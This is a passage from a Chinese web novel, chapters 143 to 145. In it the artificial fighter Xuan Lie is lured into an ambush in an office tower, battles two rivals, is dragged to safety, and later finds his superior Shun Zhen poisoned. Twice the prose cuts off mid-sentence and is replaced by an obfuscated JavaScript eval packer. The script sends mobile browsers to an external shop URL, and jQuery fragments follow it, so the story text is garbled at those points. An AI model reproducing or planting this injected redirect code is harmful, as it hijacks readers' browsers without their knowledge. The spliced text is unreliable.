“算是吧,如果见过那个小铁盒子也算的话。”向繁森无奈地说。 “听说,第二战备比我厉害很多,”玄烈话里话外透露着淡淡失落,“据说第二战备项目重启了,我怕……” “要重启?我怎么不知道?”向繁森惊道。 “我也是听说。如果第二战备真正成型了,难保是在他们谁手里,到那时,我也应该彻底失去存在的价值了。”玄烈无奈地说。 向繁森眼眸一黯,眉头微拧,不知脑子此时正疯狂转动思考着什么,玄烈只用余光注意着他,不能看清他的完整表情。 半晌,向繁森好像突然想通了什么,“对啊,现在舜真失势了,保不齐程炼和杨宁会把成果送给舜希,到那时候……我们必输无疑。你知道第二战备基地藏在哪吗?” “我不知道,”玄烈苦笑道,“我问了,他们不肯说。” “必须得赶在第二战备之前打开实验室,”向繁森砸拳锤手以示决心,“或者……我们可以小小干扰一下?” “可是没有第二战备,我们靠什么打败韶赋修呢?”玄烈问道。 “芯片!”向繁森猛地起身坐到玄烈身边去。 一只温热有力的大手按在玄烈肩膀上,玄烈还有点不舒服。 “第二战备超越你不过是他们的放出来的豪言壮语,能不能实现还要打个问号。何况很可能他未来会成为你的对手……拿到芯片,我们就成功了。” 这一段话太像洗脑了,每一个字仿佛都在此刻变成了实体,手牵手从玄烈左耳进右耳出,始终盘旋在他头顶跳舞。 迷糊间,玄烈听到向繁森悄声递了一句话。 “你的存在是为第二战备铺路的,你没有发现吗?” 143. 盈序商厦(1) 离开向繁森办公室,玄烈踏上了飞车。 果然和他预想的一样,向繁森很抵触第二战备,甚至宁愿要玄烈和第二战备为敌,也不相信第二战备的存在能够帮到他们什么。 有猫腻,但并无道理。 玄烈不曾想过与之为敌的事情,可要是真的有那么一天,他对付韶赋修的同时还得抽空应对第二战备,那也太累了。 万一情况再差一点,第二战备直接到了韶赋修手里…… 当务之急是找到第二战备的基地。至于要不要按向繁森说的去做,那就再说。 飞车呼啸着掠过那条巷子时,玄烈余光瞥见一个小小的身影斜靠在巷口,抬起头像是在往这边遥望。 卫衣、靴子、帽子,双手插兜,不同的是,这次那人没有戴面具。那张与斑斓光色格格不入的脸,一双黑溜溜的眼睛随着飞车移动。 玄烈猛然趴到窗边想看清那人的面孔,可飞车速度太快了,眨眼功夫,巷子和那人便再次被囊括进无边的阴影里。 那是没有光的地方。 下了车站在大楼面前,玄烈仰视这栋比舜氏大厦欠点威风的楼宇,满心凌乱。楼口标着“盈序商厦”,恐怕不久就要改名了。 从这里再回巷子估计得走个十几分钟,玄烈打算步行回去,那时再拐到巷子,说不定还能碰见那人。 自动门在玄烈还没靠近就已经敞开了,周围空荡荡的,人们在路的那边通行,很少有往这边走的。玄烈环顾了一圈,确定这门是在迎接他。 运气好的话说不定还能碰见孑盏,但是真的就要在这里把他干掉吗? 这栋楼只有十层以上属于舜希,以下的楼层还容纳着大大小小十几个公司办公。 如果说舜氏是一座混沌的宇宙的话,那么这里可以被称为天堂的核心了。 一步一盏灯,早就习惯了舜氏昏暗装潢的玄烈被全方位无死角的光亮蛰得睁不开眼。 在这里,没有任何一个角落被放过,四面八方被漆得洁白无瑕,甚至很难分清墙与地面之间的衔接。 舜氏人的审美果然都很奇葩。 一只身穿制服的机器人将玄烈安全带送到电梯口。等到视线内出现暗灰的金属门,玄烈眼睛才好受一点。 玄烈走进电梯桥厢机器人就离开了。他记得杨宁短信里要他去二十八层,于是便点亮了二十八层的键。 电梯倒是平平无奇,左右上下前后光滑的板面可以将他整个人清清楚楚镜子一样照出来。 就是有点冷,还有点慢。玄烈裹紧衣服的同时电梯门“叮”的一声打开了,屏幕上却显示的是第八层。 门开后好像是某个公司的前台,玄烈瞟了一眼,像是个律师事务所。 见半天没人来,玄烈也就按下了关门键。 殊不知电梯门合上的那瞬间,他余光恰好捕捉到一个闪现在拐角的红色身影。 短发、铃铛。 是那个女人!曾经几次三番出手相救的那个人。 玄烈当即迅速敲击开门键,手都快摁冒烟了才等电梯门如老爷爷过马路一般磨磨蹭蹭展开。 他瞄准门间的那条缝隙就要挤出去,可惜,他全心全意奋力一扑却撞在了一堵看不见的墙上,一层屏障像开玩笑一样把玄烈堵死了在电梯内。 玄烈“哐哐”撞屏障没有用,搞得整个电梯桥厢都跟着晃荡,还有机器人看热闹的语气在头上放回荡,叫喊着“没有权限”、“没有权限”,随之,电梯门麻利地合上。 如一盆冷水无情浇灌,玄烈忽地清醒了。 这两个他追逐不到的身影,是不是在向他提示着什么?或者,说不定追不到是个好事,很可能是陷阱。 二十八层的键还在闪烁,电梯在玄烈情绪平稳后陡然上升,不给他反悔的机会,瞬间攀升至目的地。 玄烈怀疑就连杨宁约他来这里都是个套。 这哪是办公区域呢,分明就是个毛坯房。 偌大的空间被柱子格挡开,玄烈踏着灰土深厚起伏不平的路走到柱子间连接的墙边,随手敲了敲,声音清脆就算了,还带着回音,一直“咚咚”个不停。 墙还是空心的,把整层楼圈成了“回”型。 一股甲醛味。灯管暴露在天花板上,其背后连接的电线清晰可见。玻璃窗只安了几扇,更多留做窗户的口子就这么空着,来着高楼之外的风呼呼往进不要命地刮。 玄烈沿着右边的路往进走,拐了个角便来到一片厅廊。原来这里不是什么都没有,一些破烂的木质桌椅胡乱堆在一起,摞成一堆一堆的小山,更多微小稀碎的,便零落蔓延到厅那边细窄的走廊。 “杨叔?”玄烈探问了一句。 没有回应,除了风狂呼乱啸的声音,就是头顶几根灯管被吹得吱呀吱呀地响。 遭了,很可能真的是陷阱。 “玄烈,你来啦。” 熟悉又遭人厌恶的声音从背后传来,玄烈不用转身都知道是孑盏那张欠揍的脸。 “是你引我来的?”玄烈转过身。 孑盏又开始装模作样,“我?我没干什么呀……听说那第三枚碎片,在你那里?” 警灯轰然被点亮,玄烈摸向心口。幸好,内兜里的碎片还在。 “从哪听说的?”玄烈冷眼问道。 孑盏招了招手,近十只机械体从墙边窜了出来。他们统一着装,都是绣着三队纹样的暗红色战斗服,手里拿着的武器倒是不尽相同,枪刀棍棒一应俱全。 “就——是——不——说——”孑盏摇头晃脑做着鬼脸,“猜去吧你。” “是谁都无所谓,”玄烈掌心有能量涌动,“正好,我还要去找你。”。 孑盏拎着一把匕首,刀面在他手背上一拍一拍,整个一地痞流氓的样,“找我?找我做什么?” 他话语还未落,一颗子弹便措不及防朝他脑壳稳稳飞去。刹那间孑盏眼睛便像铜铃一样瞪得溜圆,躲避不及,他不得不从旁边扯过一只机械体挡在身前。 “嘭”的一声,子弹狠狠钻入那机械体的眉心,铁脑瓜瞬时爆裂,金属片块横飞,像是一场小型爆破。 机械体歪歪扭扭倒下之时,孑盏刚反应过来看到库星一闪而过的枪口的幽幽青光,玄烈便已经闪现到了他眼前。 库星在空气划动中即刻变成了拖着青色焰尾的库星锥,玄烈扬起手就要给他脖子施以充满爱意的一击。 “当然是杀你啊,白痴!” 锥刃无可阻挡地落向孑盏的要害,他不得已只能抬手抵挡。 于是利刃划破了他颈部一半的皮肉,离要命的深度还差几毫。剩下便是他慌乱抬起的胳膊,几乎被库星锥切断了。 危机时刻孑盏身后的狗腿子冲了上来,挥舞着和库星锥相比威力甚至不如羽毛的刀棍。 如果孑盏要继续耗在这里的话,这胳膊恐怕是不能要了。 他抱着剧痛的胳膊缩在三队队员后,任这些初出茅庐的 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这帮毛头小子冲上来的同时,又有一波人从墙边出现,它们汇作一堵奔腾的墙,齐齐向玄烈压迫而来。 “玄烈,玄烈!这边!” 恍惚中玄烈听到有人叫他,转头才发现是杨宁!他正躲在厅那端走廊一扇偏门的房间里。门开一条缝,他偷偷向玄烈招手。 这么打下去确实不是办法,玄烈便朝杨宁方向跑去。可是刚跑两步,杨宁便被一只手掐住脖子拽了回去,门“咣”地一声被大打开。 玄烈跑过门口,看见有两只持枪的机械体控制住了杨宁。一只捂着他的嘴,一只用枪顶着他的脑门。 门内像是个教室,好几排桌椅,门这边还有讲台,房间后方立着好几个大柜子。 这是唯一的一扇门,玄烈后有追兵,进了房间就是受死。 眼看机械体大军就要压迫过来,玄烈没停步,接着往走廊尽头跑。 走廊不长,跑没几步就该转弯。恰好,转弯给了玄烈生机。 一拐过去就是标着安全通道的厚门。门是锁住的,但玄烈撞了两下便撞开了。 上下同行的楼梯,玄烈刚要往下跑,就看到有围堵的机械体从下面往上涌。逼不得已,他只能一边祈求上面不要再有来兵把他困死,一边咬着牙往楼上跑。 又来天台了,玄烈觉得他和天台真是十分有缘。 清冷凄苦的风在这里终于得以施展它压抑已久的热情,玄烈垂下来的发丝尚未凝结汗水,就被吹得直立起来。 头重脚轻,额头一刻不歇有冷风钻入,身体深处却有毒辣的烈火燃烧。 机械体们没有轻举妄动,冲破门后就俨然排列成一道岿然不动的山。孑盏不紧不慢地从山后走到前方。 也不是打不过,能量化作一片沸腾气团在玄烈指尖翻转。但势必会耗时间,也比较麻烦。 这一仗真的有打的必要吗? 玄烈下意识摸向腹间的旋钮,这是长久以来每次作战养成的习惯,好像他摸到了,就有了安全感。 可是这回,旋钮的存在不再明显,玄烈手指擦过衣料,只能勉勉强强摸到微弱的旋钮形状,就好像他的皮肤在缓缓将旋钮吞噬。 玄烈吃惊却不能表露。孑盏看着玄烈发呆的样子,觉得是对方在小看他,一时怒火中烧。 “曾经并肩同行那么多人,到头来只剩你孤零零站在这里的感觉,不好受吧?” 144. 盈序商厦(2) 血流干了、旋钮消失,旧有的力量缓缓回归到这具身体上,玄烈望着周遭冰冷的陌生世界,意识到过去好像真的越来越远了。 那些高楼之上、山间地下跃动着的鲜活身影,正逐渐从玄烈记忆消散。 高喊的口号,不由分说的争辩,一往无前的决心,相聚的欢愉,全都像一阵颗粒集聚而成的光流,被最小单位就是没有单位的郁然阴霾吞噬。 以至于他很多时候忘记了自己是谁,又为什么走到这里。 形势所迫,大家只能各自立于自己的战场。在这遥远天台,的确只剩玄烈一个人了。 他手捂着被激光灼烧溃烂的皮肤,脸上析出了多密密的冷汗。然而汗珠太过微小,气头上的孑盏丁点都看不见。 比起疼,更多是悲痛。 一股没由来的惆怅环绕在玄烈周围,无名火也愈烧愈旺,恍惚间他好像听到了心跳似的“咚咚”声。很可能是幻觉,但玄烈还是不可避免地滑落进病毒织就的深渊。 深赤色双眸蒙上一层浓厚的血雾,眼瞳像是乍然形成在熊熊烈火中的火核,条条青筋崩成爪痕样子,诡谲的光绽放在玄烈的双手、肩膀以及心口,此刻正是爆发的时候。 时快时慢的呼吸声尚停在原地,玄烈已经如利剑一样飞了出去。 库星锥砸在孑盏手里的匕首上发出铿锵声响,无数带电带刺的棍子一窝蜂涌上来往玄烈身上砸。 一半他能灵活躲开,另一半就算砸到了也无法阻挡住玄烈一心要去孑盏性命的冲动。 幻影成倍增加,如灵活嘈杂的鸟,三三两两聚在一只机械体身边转了圈地耍人玩。 孑盏本身废柴一个,匕首根本不能提供很好的防御,他便弃了匕首重新该用激光。 长到无边的白蓝色激光一束一束在孑盏毫无章法的行动间乱飞,机械体们头顶脚下一亮一亮的。 激光在地面留下侵蚀的痕迹,玄烈手里的高温也烫得孑盏皮肤留下斑驳红印。 玄烈势不可挡的冲击让孑盏连连后退。待孑盏快要无可奈何露出破绽,玄烈猛地一扑,右手抓着库星锥越过孑盏耳朵,手臂在他颈后一绕,左手握住库星锥的尖端,任血从玄烈手里滴落。 这个时候,越见血,玄烈越兴奋。 亟待库星锥在孑盏脖子上转着圈狠狠来上这么一刀时,一阵难以抵挡的冲击砸向玄烈的左肩,并狠狠将他向后撞飞出去。 待那一瞬间腾空,病毒麻木的间隙,玄烈才听到一声枪响。 眼看着好像是从自己身体喷溅而出形成的一道灿烂血迹划过空中,玄烈忽然双目失了明,任自己仰面掠过纯黑到能滴下来一滴墨汁的天空后,重重摔在地上。 血的鲜红比他眼睛里的红色更加实在,潺潺流淌的液体很快蔓延到玄烈无力的手边,不远处是随他掉落的库星锥。 “我……到底是谁?” 世界有那么几分钟寂静了,眼里缓缓有光亮钻入。玄烈睁着眼睛,感受视野一点点从模糊变清晰。 脚步声渐进了,病毒带来的作用让玄烈觉得自己身下的地都在跟着脚步颤动。 本以为映入眼帘的会是孑盏的脸,但玄烈失望了。 一只与战斗甲融为一体的机械靴踏在玄烈心口,脚下微弱的压力让碎片咯得他好一阵疼。 仪琅微微探下来半个身子,眼神比中了五千万彩票还得意,“啧啧啧,我只是想向你问个好,你怎么飞出去了呀?” 见玄烈没有回话,仪琅脸上很快生出了不屑。 他再用力地踏了下玄烈的身体,又一手拽把玄烈拽得站了起来,“丫的,不会把你打傻了吧?” 各项机能在缓慢恢复,玄烈依旧没有理会仪琅。他的视线落在远处,那个在地上扭动的身影。 看来仪琅这一枪丝毫没管孑盏的死活,玄烈飞出去的时候,库星锥依然尽职尽责地在孑盏脖子上划了一大圈口子。 现在孑盏站都站不起来,几只机械体手忙脚乱地正给他上临时医疗剂,能保他活着回到舜氏。 “这血是怎么回事?”仪琅抬起脚,一脸厌恶地瞥着鞋底往下滴淌的血,“你流的?” 看着仪琅,玄烈轻描谈地说:“是。” 仪琅忽地大笑起来,笑声震撼三层楼,“想当人想疯了吧你!鸡血还是牛血啊?有空搞这种鬼伎俩,你不如提升提升你的实力哈哈哈哈……” 仪琅笑声刺耳,听得玄烈拳头发痒,恨不能立马砸过去。 估计是从玄烈眼睛里看到什么,仪琅冷哼一声,翻了个白眼,“别轻举妄动啊,如果你不想要你杨叔死得很难看的话。” 顿时有几只机械体抓着一只不停动弹的麻袋走了过来。它们把麻袋往地下一丢,里面的人“啊”了一声,便冲破袋口要往出钻。 麻袋口被一根绳子系着,留下的口只够杨宁露出他那乱糟糟的脑袋。他脸上满是淤青,一只眼肿成了丸子,灰土土的。 不知怎的,这一幕有点熟悉。玄烈眼看着那些机械体涌来把准备站起的杨宁重新摁跪在地上,杨宁的脸却忽而变成了林瑀的脸。 原来那日把林瑀抓起来并掐住他喉咙的,真的是玄烈自己,也是无意识的、被病毒钳住喉咙的他自己。 直到银白色手枪在玄烈眼前晃,他才清醒过来。 “哎,醒醒,害怕了?” 仪琅将枪管横在玄烈脖颈处,挑衅地拍了拍,又一路向下,敲了敲玄烈的锁骨,指了指他的心脏。再往下,枪口贴在他腰侧,沿着衣服缝合的线游走到裤子口袋处。 “给你五秒钟,碎片交出来,那老家伙还给你,你可以继续你的英雄游戏。”仪琅将手枪“咔”地一声上了膛,对准杨宁。 “五。” 仪琅向前一步,玄烈则后退一步。 他计算着开枪之前夺走或击飞那只手枪的可能性,结果不容乐观。 “四。” 玄烈再后退一步。 仪琅不像孑盏,换任何一个人或许玄烈都有机会。但仪琅太快了,他又一时间被病毒封住头脑,难保动作会出现失误。 还是那个问题,耗在这里,有必要吗? “三。” 孑盏闷哼不止,那是除玄烈他们二人脚步声外唯一的噪音,令玄烈心烦意乱。 退一万步讲,碎片到他们手里也没有用,没有指纹,他们一样打不开实验室。 仪琅枪是举向杨宁的,但眼睛一刻不离玄烈。 “二。” 仪琅再往前逼近了一步,这次玄烈往后撤的时候却忽略了他们所处的位置。 这里是天台! 后脚被天台边的高度不过脚踝的围栏一拌,玄烈直接踩了空,一时间重心不稳向后仰去,幸好求生意志令他双手紧紧抓住了悬崖边缘。 怪不得刚才后背一阵发凉,玄烈原以为是心理作用,不成想真竟是物理上的发凉。 “你要想好哦。”仪琅一只脚踩上围栏,踩住了玄烈的手。 他这回使的力可比刚才才玄烈胸膛的劲大多了。指骨在强压下咯吱作响,痛到玄烈也把牙咬得嘎嘣嘎嘣的。 汗水从额头滴进了眼里,蛰得玄烈无法抬头看到仪琅耀武扬威的模样。 脚下空荡荡,寒意化作来自地狱的吸力正将玄烈拖向深不见底的地狱。 但玄烈不害怕,因为他会飞。 “准备好了吗?一……” 仪琅的“一”还没说完,一股火龙卷就从他背后刮来,立刻将他裹进耀眼的冲天高焰里。 随之一只灰白如死人的手抓住了玄烈的手腕。那只手带着刺骨的寒意,玄烈刚要借力往上爬,眼前就又旋转起来,整个人再次处于失重状态,像是从地球蹦到了外太空。 就这么一刹那功夫玄烈后背着地摔在地上。他还头晕目眩着,那边零星的枪声便响起了。 生怕是仪琅动手杀了杨宁,玄烈支起上半身努力辨认方向。 幸好杨宁还缩在麻袋里跟个胖长虫似的原地扭来扭去,原本架着他的机械体也全都帮仪琅去了。 耳畔有铃铛声响,简直是如听仙乐耳暂明,玄烈的头晕脑胀立马好了大半。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565209|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那个女人,他看到一片红色残影。 火龙卷在把仪琅燎得近乎活褪了一层皮后就消失了,那些原本属于孑盏的狗腿子倒把痛到要流出眼泪的仪琅挡到背后,一只两只全上去送死。 这次说什么也要把她的面孔看得一清二楚。玄烈扶着被仪琅踩断的右手,颤颤巍巍硬逼着自己站起来。 “玄烈!玄烈!” 玄烈忽地在刀剑相向的撞击声中听到了有人在叫他。 这回不是杨宁了,而是向繁森。 一回头,向繁森爬在楼梯门口,只露着在风中凌乱的脑袋,眼睛闪亮亮的,疯狂向玄烈招着手。 但玄烈现在不打算理会,他左手抓起库星锥,打算加入战局,助那女人一臂之力。 看玄烈入场,仪琅满脸愤恨地躲过孑盏手里的激光枪,瞄着玄烈头壳就要发射。可惜被玄烈看到了。 他三步并两步冲破机械体的包围,执库星锥径直指向仪琅。但总有人比他快一步。 仪琅看着他跑来刚要转变姿势重新瞄准,一道红色刃光就切断了那只激光枪。 就是直接切断了,断掉的那半枪口将库星锥砸偏离了轨道。然而玄烈在临近仪琅时突然高高跃起,高举着的库星锥消失了,取而代之是燃着强力焰火和满满诚意拳头。 这下仪琅终于来不及闪避,结结实实接下了玄烈这一拳。爆裂的击打声里掺杂着并不明显的碎裂声,仪琅连滚带爬居然没摔倒。 玄烈落地时,红发女人也跟着闪到跟前,就像一团突然驾到的云雾,在玄烈头顶打下一层阴影。只是他觉得,这团阴影比以往来得要慢一些。 他刚要转身,背后便传来幽幽的声音,“别转身,别看,如果你不想被打晕的话。” 阴影的到来带来一阵颠转城市不可能存在的草药香气,那是完全自然的味道,就像来自于另一个世界。 女人依旧是纱巾蒙面,如同凶恶城市里升起的一轮血月。 “你是,潼霜?”玄烈低声问道。 女人回身给了背后两只机械体一人一刀,“不是。” 除这几次相救和古早地下室的初见外,玄烈从未在任何地方听到过类似的声音。但他总觉得在他没知觉的时候,他们好像见过很多面了。 很可能声音也做了伪装。 正想着,仪琅站稳身子,捂着一侧几近凹陷的耳朵对玄烈抬起他空空的手掌,那滋滋作响的电流在他手里虚无地游走。 再后来的事情发生得太快了。 仪琅站的位置离楼梯口太近,玄烈刚看到他向自己撞来,自己便被身后一股力量往侧面一推。 尚未站稳,他就又被向繁森一把扯着衣领子拽进了楼道,但他那一瞬间还是转身了,还是看到一柄粗野厚重、未经过仔细打磨的锈剑通过仪琅之手刺进了女人的心口。 澎湃激荡的电流在血肉刺激下腾跃咆哮,其绽放的光把看似不起眼的剑锤炼成了一柄光剑。 向繁森二话不说抓着他就往楼下跑,也不管他是站着还是爬着,就算打滚也得马不停蹄地滚下去。 丧失意识前,玄烈只说了三句话。 第一句话是:“杨叔怎么办……” 向繁森嘟囔着说:“我早把他整走了!死不了!” 第二句话是:“我得去帮忙,她一个人……打不过。” 向繁森突然来了火气,“你管那么多干嘛!要不是你小子命大!就你这样的早他妈死了!” 下巴、颈椎、手肘、膝盖,玄烈无时无刻不在用身体和一级级台阶产生碰撞和摩擦,以至于后来很长一段时间他都怀疑自己可能根本晕不了,纯属是被向繁森暴力运输导致的。 被踩断的右手很疼,但和被灼伤的左手手臂比起来还是逊色很多。好死不死,受伤的还恰好是打疫苗的地方,也不怪病毒会爆发得这么突然。 第三句话是:“好、好疼。” 玄烈困极了,在颠簸中半死不活地闭上眼睛,想着能活回去就活回去,不行也就躺在这算了。 这破台阶,颠得他想吐。 145. 靠近(1) 就像置身于一颗脆弱的透明色泡泡里,玄烈迷迷糊糊感觉身体在随着什么一弹一弹的,时而往上飘,时而往下坠。 忽觉身上痒痒的,如一只长着触角的小小爬虫在血管里越野行走。它走到哪,痒意就被带到哪。 现在走到左臂了,沿着肩膀往手的方向攀爬,而后停在了小臂处。那是受伤的地方,爬虫的到来令原本没知觉的手臂好一阵疼痒。 像是有谁抓住了他的手腕,一阵阵凉意撒在伤口处,疼痛浓烈起来。 玄烈突然醒了,他条件反射般抽回被什么钳制住的手臂。这才看见是向繁森拿着一注射器要给他打针。 “这,这是什么?” “这么快就醒了?”向繁森一愣,放下注射器时脸上还带着点无奈,“镇定剂,我看你可能做噩梦了,躺着还乱动。” 彼时玄烈正以半躺的姿势窝在一个浴缸似的器皿里,那束在心口的翻涌感其实是水,没过他心脏的水。 怪不得感到无形压迫。玄烈忙不迭再次抚手向心口,确保东西还在。 “怎么了?” “刚才心口憋得有点难受。” 玄烈撑着“浴缸”底让自己坐正了几分,“杨叔呢?” “还活着,”向繁森语气不快,“把他丢到办公室休息去了。” “这是……哪?”玄烈张望着周围。 和舜氏大多数无关紧要的房间一样,灯光浅弱,一扇封死的小窗。 “以前存放重病机械体的临时病房,”向繁森甩了甩手上的水,把撸起的袖子放展,用眼神把玄烈即将问出口的话怼了回去,“知道你要问什么,不是浴缸!给你治病啊,直接泡在药水里总比你输液来得快吧,除了我谁还关心你死活!” 衣服换了新的,大小很合身。玄烈攥了攥拳,发觉断掉的手指也复了原,肩膀不怎么疼了,但他还能感受到伤口的存在。 水清衣白,没有血的影子。 像是从玄烈的眼神中读到了内容,向繁森正襟危坐抓住玄烈的手腕,“你老实告诉我,血怎么回事?” “我……” 仪琅的借口可以用,就是显得玄烈不怎么聪明。聪不聪明也无所谓了,眼下这尔虞我诈的情况,装傻才是明智的选择。 “我……想当人。” 向繁森噗嗤一声笑了出来,“想、想当人?当人有什么好的!还有,你往身体里灌点血就成人了?那猪灌人血岂不是变成猪人了?哈哈哈哈……” 前面的话还好,一提到“猪人”玄烈也忍不住跟着笑起来。 “确实很荒唐,”玄烈边笑边咳嗽起来,“主要是,想像人类一样……死。” 玄烈话语一落,向繁森尚未挥发殆尽的笑容一下凝固在脸上,嘴尴尬地咧着,眼蔓惆怅。很难看的表情。 兜里的手机响了,向繁森立刻像等来救星一样迫不及待接起来。 “嗯好,嗯、嗯……好,我马上去。” 收起手机,向繁森拔腿就往外走,“我有点事,你……你等我回来……” “哎,去哪?” 玄烈这么一问,本来一条腿已经迈出门的向繁森又折返了回来,站在离玄烈三五米的地方。 他就这么看着他,也不说话。 玄烈被盯得浑身不自在,“我、我就是想问,我能不泡在这里面吗?” “随你。” 向繁森脸色愈渐凝重了。他似是有什么话想说,又说不出口。嘴角严肃地压着,眼里却饱含复杂的阴霾。 “你有你要做的事,我也要去做准备了。” 踌躇了半天,只留下这么一句话,玄烈自然不懂什么意思。他没开口,任向繁森头也不回向外走。 门合上的第十秒,向繁森突然鬼魅一样探进脑袋。 这时的他又有了笑脸,“玄烈,我还会回来的。” “哦……哦。”玄烈一脸懵。 掐着表默数三分钟后,确保向繁森不会再回来了,玄烈腾地从水里跳出来。 幸好穿的不是什么棉质丝质的衣服,否则可要沾水贴在身上难受好久。他抖了抖身上的水,手臂还有点疼,但能忍。 悄悄拉开门缝,走廊空无一人。 玄烈调出腕表上的地图,猛然向地下实验室奔去。 好像已经到休息时间了,玄烈在楼里狂奔了一圈也没见什么人。 幸好没见什么人,玄烈得以用最快速度跑到了地下,又一路曲折来到那间机密实验室的门口。 这里还是一样的寂静,整条走廊唯有玄烈的脚步和呼吸声在回响。 他掏出那枚被无数人觊觎的碎片,想都没想就放进了唯一空着的凹槽。 碎片合进去的瞬间,一道光闪过,门便将那枚碎片完全吞没,再不见踪影。 这下谁都不用抢了,想开实验室的直接拿指纹来试好了,再也不用通过玄烈的手,不用全都找他的麻烦。 漫无目的行走在路上,玄烈如同行尸走肉一般双眼放空。不刻意去想什么,乱七八糟的事情却难以抵挡地在他脑海里跳舞。 好像有人谈话叫喊的声音,玄烈渐渐缓过神来。楼道里,他左边是一排排窗,右边是一排排紧锁的后勤部库房。 有点像他和纪凛烛第二次见面用以躲藏的地方。 玄烈刚准备走到窗边看看是谁在大声喧哗。 猝不及防间,一道火墙伴随着“轰”的一声巨响将整条走廊的玻璃窗震了个粉碎,如雷贯耳钻进了玄烈的大脑,他瞬间清醒。 他无比熟悉各种爆燃的火焰形状和成因。破碎玻璃渣炸了他一身,滚滚灰黑浓烟从窗户破口处涌入。 库星锥高速挥舞激起的风浪将烟尘驱散,玄烈在呛人薄雾中看到了那艘正在燃烧的船。 明艳的火光将玄烈的脸和眼睛映成了金橘色,高有几十米的火焰像从地底召唤的史前巨兽,咆哮着向所以将目光投向它的人作威作福。 船的原样已经不太能辨认,就剩个空架子在做最后的坚持。 热浪代替烈焰本身,将威风推送到玄烈脸上,吹得他脸上好一阵发烫。 船的一边,舜希盛气凌人地离开,她身后几个不知是人还是机器人的跟班屁颠屁颠跟着走了,唯有程炼还站在原地看。 玄烈骤然想到向繁森说的。 舜真要送遥遥出颠转,出颠转唯一的关口在舜氏北岸,北岸只能坐船。 而作为安保部副部长的向繁森可以搞到通行证,舜真便交由向繁森去做,这也是刚才向繁森紧急离开的理由,大概是被叫走了。 所以…… 心想不好,玄烈转身跑进了楼梯间。 舜真办公室外,玄烈轻敲了两下门。里面没有回应,门却浅浅开出一道口子。 想必门本来就是虚掩着的。玄烈谨慎地推开了门,往进走了一步。 灯关着,“雨林”里唯一亮着的是鱼缸,绚丽彩光幻化如云,把房间照得一会红一会绿的,照得人心焦。 就这么进去肯定是不合规矩,但……玄烈就是想开个灯。 “……舜真姐?” 玄烈悄声问了几句,无人回应,他便走了进来,摸黑贴在墙上想找灯的开关。 有人出现在门口! 玄烈下意识要躲,舜真却已经走了进来。 黑乎乎一片中,四目相对,玄烈瞬间举起库星锥,舜真手里也即刻有无形红刃生成。 “啪”的一声,舜真一个响指,整个房间被点亮了。两个人一下子又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603091|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露在光亮里,还手握各自武器带着准备杀人灭口的表情,场面一时很滑稽。 “哦,是你啊。” 舜真先反应过来,关上门往桌边走。 库星锥却被遗忘了,还被玄烈抓着不肯松手。他的注意力不在这。 舜真有点奇怪,她的脸白得厉害,那是一种极度贫血的白,白到发灰,毫无血色,连嘴唇都是白的。她今天没有化妆。 她好像要找什么,一坐到桌边就开始翻箱倒柜,把好几沓资料翻得凌乱不堪,办公用具和杂物被她一齐翻出来在桌上,还有一部分零碎物件滚落,掉得到处都是。 玄烈不知道发生了什么,只清楚还不是问的时候。 就在他向舜真缓慢靠近的时候,舜真忽然口喷鲜血,险些摔倒在地。 玄烈没来得及扶她,舜真自己就抓着桌边先站稳了。大量的血被溅在地面那些鲜翠欲滴的青草上,嫩绿被染成了黑褐色。 汩汩鲜血依旧顺着她嘴角往下淌,就这样,舜真还没停止翻找。 幸好她找到了,最不起眼的白色小药瓶。 手颤抖不已,一倒就将瓶里的药全都倒了出来,她只得一点点倒回去。那些被她手上血涂成红色的药,又被颤颤巍巍封进了药瓶里。 舜真仰头将药片倒进嘴,转手就要打开一瓶可乐。玄烈终于找到机会阻止。 他在易拉罐被打开之前将可乐夺了过来,又即刻从橱柜抽出一杯子放在饮水机里,花了五秒时间将一杯温水推到舜真面前。 脸上手上尽是血、略显狼狈的舜真冲玄烈笑了。她接过杯子,仰头咕咚咕咚将整杯水一饮而尽。 而后,血不再流。 “你受伤了?”待一切平静下来,玄烈狐疑地问出这个问题。 “忘记吃药了而已,”舜真拿着药瓶晃了晃,“有人把我的药藏起来了。” 见玄烈还是满怀疑虑的样子,舜真接着笑道:“不相信啊?要不要我连坐五十个前手翻给你看?” “把药藏起来了?谁要杀你?” “监控显示,近期进过我办公室的,除了你,只有杨宁和遥遥。” 犹豫了一下,玄烈终于选择说出口,“我……我刚从市区回来。杨叔要我去中心大楼,我在那遭到了追杀。” “杨宁?他给你设套?他要什么?碎片吗?”舜真把玩着药瓶,并不怎么吃惊的样子。 “是孑盏和仪琅。杨叔……被抓做人质。” 完全意料之中的答案,舜真轻哼一声,“果然是韶赋修在捣鬼。” “有没有可能……是杨叔他……” 后面的话,玄烈说不出来。好像单凭向繁森的话和这一次的事情就给杨宁打上内奸的锅,有些冤枉。 “你觉得是杨宁自导自演,把你引过去又以受害者的身份想打消你的怀疑,以便后续继续利用你是吗?”舜真看穿了玄烈的想法,“向繁森说的那些,你信了?” “不信,但不敢不怀疑。” “对了,”见舜真不回复,玄烈毅然迈了一步站到桌前,“外面的火,怎么回事?” “你也要杀我吗?” 舜真指了指玄烈还攥在手里的库星锥,眯眼笑着。 玄烈赶忙把库星锥收起,“忘记了。” “向繁森死了。”舜真轻飘飘地说。 